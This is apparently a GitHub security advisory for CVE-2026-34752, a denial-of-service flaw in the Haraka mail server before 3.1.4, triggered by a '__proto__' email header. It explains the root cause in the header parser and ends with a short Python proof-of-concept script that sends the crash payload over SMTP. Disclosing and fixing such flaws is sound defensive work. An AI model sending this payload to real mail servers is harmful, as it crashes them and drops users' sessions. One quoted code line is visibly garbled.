GitHub Advisoryadvisory · npm
GHSA-xph3-r2jf-4vp3 Haraka affected by DoS via `__proto__` email header
HIGH
Official page ↗
- Aliases
- CVE-2026-34752
- Ecosystem
- npm
- Packages
- Haraka
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-248
- Reviewed
- 2026-04-01
Affected packages
• npm Haraka: < 3.1.4 → fixed in 3.1.4
Description
Summary
Sending an email with `__proto__:` as a header name crashes the Haraka worker process.
Details
The header parser at `node_modules/haraka-email-message/lib/header.js:215-218` stores headers in a plain `{}` object:
```javascript
_add_header(key, value, method) {
this.headers[key] ??= [] // line 216
this.headers[key]method // line 217
}
```
When `key` is `__proto__`:
1. `this.headers['__proto__']` returns `Object.prototype` (the prototype getter)
2. `Object.prototype` is not null/undefined, so `??=` is skipped
3. `Object.prototype.push(value)` throws `TypeError: not a function`
The TypeError reaches the global `uncaughtException` handler at `haraka.js:26-33`, which calls `process.exit(1)`:
```js
process.on('uncaughtException', (err) => {
if (err.stack) {
err.stack.split('\n').forEach((line) => logger.crit(line))
} else {
logger.crit(`Caught exception: ${JSON.stringify(err)}`)
}
logger.dump_and_exit(1)
})
```
PoC
```python
import socket, time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect(("127.0.0.1", 2525))
sock.recv(4096)
sock.sendall(b"EHLO evil\r\n"); sock.recv(4096)
sock.sendall(b"MAIL FROM:\r\n"); sock.recv(4096)
sock.sendall(b"RCPT TO:\r\n"); sock.recv(4096)
sock.sendall(b"DATA\r\n"); sock.recv(4096)
Crash payload
sock.sendall(b"From: [email protected]\r\n__proto__: crash\r\n\r\nbody\r\n.\r\n")
```
Impact
In single-process mode (`nodes=0`), the entire server goes down. In cluster mode, the master restarts the worker, but all sessions are lost.
Related
Alias · CVE (1)
- CVE-2026-34752 Haraka is a Node.js mail server. vulnerability
Weakness · CWE (1)
- CWE-248 Uncaught Exception weakness